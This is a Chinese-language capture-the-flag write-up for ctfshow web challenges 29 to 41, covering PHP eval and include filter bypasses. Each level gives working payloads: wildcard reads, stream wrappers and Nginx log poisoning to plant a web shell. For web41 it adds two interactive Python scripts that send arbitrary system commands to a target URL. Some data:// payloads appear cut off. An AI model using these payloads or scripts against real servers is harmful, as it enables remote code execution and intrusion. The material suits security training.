ctfshow web29-41
慢慢打基础
On this page
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=system(ls);
得知flag.php
题目过滤了flag,所以用通配符*来读取
?c=system(‘tac f*’);
这道题解法也是五花八门,还可以:
- ?c=echo`tac f*`; (两个反引号的作用是执行命令并返回字符串,但要用echo才能看到回显)
- ?c=eval($_GET[1]);&1=system(‘tac f*’);
- ?c=system(“cp fl*g.php a.txt”); (用cp将flag拷贝成a.txt,然后再访问a.txt即可)
web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这道题再在上一题基础上,多禁用了system,php
?c=echo`tac%20f*`;
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
%09是制表符
?c=echo`tac%09f*`;
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 这题把常见的指令都禁用掉了,但是可以用include。
利用参数中转绕过过滤,再用伪协议读一下目录
?c=include$_GET[1]?>&1=data://text/plain,
?>:PHP 的结束标签。因为分号被过滤了,所以使用这个来替代
得知flag.php
?c=include$_GET[1]?>&1=data://text/plain,
或者
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
以base64输出,解码一下就得到了flag

- 还可以利用日志注入方法
通过插件知道使用的是Nginx服务,所以日志文件在var/log/nginx/access.log

?c=include%22$_GET[a]%22?%3E&a=/var/log/nginx/access.log
访问的时候将ua改成

打开蚁剑就能连上了

web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
依然没过滤include,同上题。
?c=include$_GET[1]?>&1=data://text/plain,
web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
依旧同上
?c=include$_GET[1]?>&1=data://text/plain,
web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=include$_GET[1]?>&1=data://text/plain,
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=include$_GET[a]?>&a=data://text/plain,
web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,
web38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,
<?= ?> :是 PHP短 echo 标签
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
要按Ctrl + U看源码
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,
因为前面的php语句已经闭合了,所以include里的不用管
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
把数字和大部分符号都禁掉了,但是要看清楚,禁用的是全角括号,半角括号没禁用。
仍然有好几种方法:
// --- 方案 1: POST 参数中转执行 (最推荐,灵活) ---
// URL: ?c=eval(pos(next(get_defined_vars())));
// POST: 1=system('tac flag.php');
// --- 方案 2: 直接扫描目录并读取 flag ---
// URL: ?c=show_source(next(array_reverse(scandir(getcwd()))));
// --- 方案 3: 替代点号的目录读取 (针对 getcwd 被过滤) ---
// URL: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
具体看下前两种方法,第三种与第二种类似:
1. 利用POST参数中转

- 先用
get_defined_vars()拿到变量池 - 用
next定位到第二个数组(即_POST) - 用
pos取出代码字符串
2. 直接扫描目录并读取
?c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd()→ 当前目录(如/var/www/html)scandir(getcwd())→ 列举目录文件,如:[".", "..", "flag.php", "index.php"]array_reverse(...)→["index.php", "flag.php", "..", "."]next(...)→"flag.php"show_source(...)→ 输出 flag 内容
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这道题难度上来了,这里贴上官方WP。
这道题过滤了大部分绕过方式,如$、+、-、^、~,使得异或自增和取反构造字符都无法使用,但是还剩下”|“没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。
下面是脚本
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
下面是整合的版本
import re
import urllib.parse
import requests
import sys
def generate_dict():
"""
生成可用字符字典
优化点:使用字典(dict)存储,字符作为键,提高查询速度
"""
valid_map = {}
# 预编译正则,避免在循环中重复编译
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|\]|\{|\}|&|-', re.I)
# 提前筛选出所有不匹配正则的合法字节
available_bytes = []
for i in range(256):
if not preg.search(chr(i)):
available_bytes.append(i)
# 双重循环寻找组合
for i in available_bytes:
for j in available_bytes:
res_char = chr(i | j)
# 只要可见字符且尚未在字典中(或为了效率只取第一组)
if 32 <= ord(res_char) <= 126:
if res_char not in valid_map:
valid_map[res_char] = (f'%{i:02x}', f'%{j:02x}')
return valid_map
def make_payload(cmd, valid_map):
"""根据命令生成 payload"""
p1 = ''
p2 = ''
for char in cmd:
if char in valid_map:
p1 += valid_map[char][0]
p2 += valid_map[char][1]
else:
print(f"[!] 错误:字符 '{char}' 无法通过当前规则构造")
return None
return f'("{p1}"|"{p2}")'
def exploit(url, function, command, valid_map):
"""执行 RCE 攻击"""
p_func = make_payload(function, valid_map)
p_cmd = make_payload(command, valid_map)
if not p_func or not p_cmd:
return
# 构造 PHP 格式: (system)(ls)
final_payload = f"{p_func}{p_cmd}"
print(f"[*] 构造 Payload: {final_payload}")
try:
# 核心:使用 unquote 将字符串形式的 %ff 转为字节
# requests.post 会处理字典数据的编码
payload_raw = urllib.parse.unquote(final_payload)
response = requests.post(url, data={'c': payload_raw}, timeout=5)
print("-" * 40)
print("[*] 服务器响应:")
print(response.text.strip())
print("-" * 40)
except Exception as e:
print(f"[!] 请求出错: {e}")
def main():
print("="*50)
print(" PHP Non-Alphanumeric RCE Exploit (Optimized)")
print("="*50)
valid_map = generate_dict()
print(f"[*] 字典初始化完成,支持 {len(valid_map)} 个可用字符。\n")
url = input("[+] 目标 URL (例如 [http://target.com/index.php](http://target.com/index.php)): ").strip()
if not url.startswith("http"):
print("[!] 请输入完整的 URL")
return
while True:
try:
func = input("\n[+] PHP 函数 (如 system, 退出请按 Ctrl+C): ").strip()
if not func: continue
cmd = input("[+] 命令参数 (如 cat /etc/passwd): ").strip()
exploit(url, func, cmd, valid_map)
except KeyboardInterrupt:
print("\n\n[*] 用户退出")
break
if __name__ == "__main__":
main()
